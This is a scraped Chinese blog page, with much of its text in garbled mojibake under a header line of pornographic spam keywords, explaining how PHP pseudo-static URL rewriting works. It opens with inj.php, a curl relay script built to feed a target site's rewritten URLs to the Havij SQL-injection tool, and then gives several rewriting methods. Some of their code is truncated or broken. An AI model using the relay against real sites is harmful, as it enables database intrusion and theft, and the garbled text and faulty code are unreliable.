日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 人文社科 > 生活经验 >内容正文

生活经验

php 伪静态 page-18.html,PHP 伪静态实现技术原理讲解

發(fā)布時(shí)間:2023/11/27 生活经验 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php 伪静态 page-18.html,PHP 伪静态实现技术原理讲解 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

PHP 偽靜態(tài)實(shí)現(xiàn)技術(shù)原理講解

發(fā)布于 2015-01-18 23:52:58 | 129 次閱讀 | 評(píng)論: 0 | 來(lái)源: 網(wǎng)友投遞

PHP開(kāi)源腳本語(yǔ)言PHP(外文名: Hypertext Preprocessor,中文名:“超文本預(yù)處理器”)是一種通用開(kāi)源腳本語(yǔ)言。語(yǔ)法吸收了C語(yǔ)言、Java和Perl的特點(diǎn),入門(mén)門(mén)檻較低,易于學(xué)習(xí),使用廣泛,主要適用于Web開(kāi)發(fā)領(lǐng)域。PHP的文件后綴名為php。

本文為大家講解的是PHP 偽靜態(tài)實(shí)現(xiàn)技術(shù)原理講解,感興趣的同學(xué)參考下。

偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面;偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式

先說(shuō)實(shí)現(xiàn)方法:

inj.php:

set_time_limit(10);

$id=$_GET["id"];

$id=str_replace(" ","%20",$id);

$id=str_replace("=","%3D",$id);

$url="http://www.xxx.com/index.php/library/more/id/$id.html";

$ch=curl_init();

curl_setopt($ch,CURLOPT_URL,"$url");

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時(shí)將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出

curl_setopt($ch,CURLOPT_HEADER,0);//啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出

$output=curl_exec($ch);

curl_close($ch);

print_r($output);

?>

用wamp搭建一個(gè)服務(wù)器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1

=============================

PHP偽靜態(tài)實(shí)現(xiàn)方法一(利用Apache 服務(wù)器的功能)

1、檢查Apache是否支持mod_rewrite

2、讓Apache 支持.htaccess

3、建立.htaccess文件

4、規(guī)則:

RewriteEngine on

RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2

([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長(zhǎng)啥樣

$1 是([a-zA-Z]{1,}) 所匹配的

$2 是[0-9]{1,} 所匹配的

比如說(shuō):www.xx.com/page-18.html

真實(shí)的URL如下:

action = page

id = 18

============================

PHP偽靜態(tài)實(shí)現(xiàn)方法二(編碼實(shí)現(xiàn))

$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]

echo $Php2Html_FileUrl

例子:// localhost/php100/test.php?id|1@action|2

$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))

/*

內(nèi)層的strrchr出來(lái):/test.php?id|1@action|2

外層的strrchr出來(lái):id|1@action|2

內(nèi)層的str_replace出來(lái):把 / 號(hào)去掉,本例子 沒(méi)有

外層的str_replace出來(lái):把 ?號(hào)去掉,本例子 沒(méi)有

*/

$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);

/*把str變成以@為界限劃分的數(shù)組:id|1 和 action|2*/

foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)

{

$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);

/* id => 1 和 action => 2*/

$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];

}

============================

PHP偽靜態(tài)實(shí)現(xiàn)方法三(編碼實(shí)現(xiàn))

例子: localhost/php100/test.php/1/2

$filename = basename($_SERVER["SCRIPT_NAME"]);

echo $_SERVER["SCRIPT_NAME"];

echo $filename;

if(strtolower($filename) == 'test.php'){

if(!empty($_GET[id])){

$id=intval($_GET[id]);

echo $id;

$action = intval($_GET[action]);

echo $action;

}else{

$nav=$_SERVER["REQUEST_URI"];

$script=$_SERVER["SRCIPT_NAME"];

//這句話應(yīng)該是把URL前面那段給搞掉。。剩下 "1/2"之類(lèi)的。。

$nav=ereg_replace("$script","",urldecode($nav));

echo $nav;

$vars = explode("/",$nav);

print_r($vars);

$id=intval($vars[1]);

$action=intval($vars[2]);

}

echo $id.'&'.$action;

}

============================

PHP偽靜態(tài)實(shí)現(xiàn)方法四(編碼實(shí)現(xiàn))

function mod_rewrite(){

global $_GET;

$nav = $_SERVER["REQUEST_URI"];

$script_name = $_SERVER["SCRIPT_NAME"]

$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);

$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html

$vars=explode("/",$nav);

print_r($vars);

for($i=0;$i

{

$_GET[$vars[$i]] = $vars[$i+1];

}

return $_GET;

}

============================

PHP偽靜態(tài)實(shí)現(xiàn)方法五(編碼實(shí)現(xiàn))

例子:/1,100,8630.html

if(preg_match(“//(d+),(d+),(d+).html/si”,$path_info,$arr_path)){

$gid =intval($arr_path[1]); //取得值1

$sid =intval($arr_path[2]); //取得值100

$softid =intval($arr_path[3]); //取得值8630

}

else

echo "Path:Error!";

總結(jié)下:

(1)偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁(yè)面。

(2)偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來(lái)的 index.php?id=1 這種形式的URL給替換成其它形式。

相關(guān)閱讀:

PHP 偽靜態(tài)實(shí)現(xiàn)技術(shù)原理講解

PHP 偽靜態(tài)隱藏傳遞參數(shù)名的四種方法

php+.htaccess偽靜態(tài)的實(shí)現(xiàn)方法

不用mod_rewrite直接用php實(shí)現(xiàn)偽靜態(tài)化頁(yè)面代碼

php下實(shí)現(xiàn)偽靜態(tài)的超簡(jiǎn)單方法

PHP生成靜態(tài)頁(yè)面原理講解

使用純php代碼實(shí)現(xiàn)頁(yè)面?zhèn)戊o態(tài)的方法

PHP實(shí)現(xiàn)偽靜態(tài)方法匯總

PHP圖像識(shí)別技術(shù)原理與實(shí)現(xiàn)

PHP中的插件機(jī)制原理和實(shí)現(xiàn)方法

php環(huán)境套包 dedeampz 偽靜態(tài)設(shè)置示例

PHP生成靜態(tài)文件的方法緩解服務(wù)器壓力實(shí)現(xiàn)思路及代碼

總結(jié)

以上是生活随笔為你收集整理的php 伪静态 page-18.html,PHP 伪静态实现技术原理讲解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。